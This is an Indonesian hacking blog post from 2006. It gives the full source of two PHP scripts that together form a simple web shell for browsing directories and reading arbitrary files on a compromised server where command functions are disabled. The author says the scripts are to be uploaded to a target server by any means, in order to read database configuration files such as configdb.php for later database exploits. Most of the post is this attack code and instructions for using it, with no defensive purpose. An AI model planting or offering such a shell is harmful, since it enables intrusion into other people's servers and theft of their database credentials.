LaGiPusHinGWitH ---- IT

Navigation

Home |

Categories

Monthly Archives

Most recent entries

Syndicate

Site Credits

Powered by:
ExpressionEngine

Design by:
BlogMoxie

Browsing Folder server tanpa fungsi command

Author: roninmorgue
Date: May, 03th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
-----------------------------------------------------------------
Setelah cukup lama (maklum newbies) mencari ide bagaimana mengakali server yang mematikan fungsi
cmd()....untuk melihat isi dari folder dan membaca isi file-nya, karena hal ini penting untuk
mendapatkan konfigurasi database dari target (digunakan pada script expolit database via PHP script)
maka saya membuat script sederhana (hanya untuk membaca folder dan isi dari file) dengan PHP
...saking sederhananya mungkin rekan-rekan lainnya sudah tahu (saya aja yang telat nih kayanya)

OK ... langsung saja ... script ini terdiri dari 2 buah file php
1. bukadir.php
2. baca.php

isi script
bukadir.php

<html>
<head>
<title>:..: Membaca Isi Folder by anstellwinkel :..:</title>
</head>
<body bgcolor="#666666">
<?php
if(!$Submit) {
echo "<center>DOCUMENT ROOT : $DOCUMENT_ROOT";
?>
<form name="hackdir" method="post" action="">
<table width="500">
<tr bgcolor="#000000">
<td width="112">Masukkan Path : </td>
<td width="300"><input name="dir" type="text" id="dir" size="50"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
halaman muka
<?php
}
else {
echo "<center>
path $dir.";
$path = $dir;
$dir = opendir("$dir");
?>
<textarea cols="40" rows="25">
<?php
while ($baca = readdir($dir))
print("$baca ");
closedir($dir);
?>
</textarea>

Melihat Isi File
<form name="hackdir" method="post" action="baca.php">
<table width="475">
<tr bgcolor="#000000">
<td width="130">Masukkan nama file : </td>
<td width="320">
<input name="path" type="text" id="path" size="50" value="<? echo $path ?>"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
halaman muka
<?php
}
?>
</body>
</html>

pada script ini kita memasukkan path dari target berdasarkan document root-nya

contoh :
DOCUMENT ROOT : ../../public_html/
Masukkan Path : /home/target_folder/public_html/

isi script
baca.php
<html>
<head>
<title>:..: Membaca Isi File by anstellwinkel :..:</title>
</head>
<body bgcolor="#666666">
<?php
if($Submit) {
$nama_file = "$path";
$isi_file = file($nama_file);
$jml_baris = sizeof($isi_file);
echo "<center>File $nama_file berisi $jml_baris baris.";
?>
<textarea cols="80" rows="25">
<?php
for ($i=0; $i<$jml_baris; $i++)
{
print "$isi_file[$i]";
}
?>
</textarea></center>
<?php
}
?>
kembali

pada script ini masukkan nama file yang akan dilihat isinya
contoh :
Masukkan nama file : /home/target_folder/public_html/configdb.php
dan sebagai catatan script ini harus diupload keserver target....caranya terserah anda!!!!
fungsi dari script ini untuk mendapatkan file konfigurasi database target
-----------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
-----------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
----------------------------- [ EOF ] ---------------------------

Posted by roninmorgue on 08/25 at 01:16 AM
Computer Hacking • (0) Comments • (201) TrackbacksPermalink

Name:

Email:

Location:

URL:

Smileys

Remember my personal information

Notify me of follow-up comments?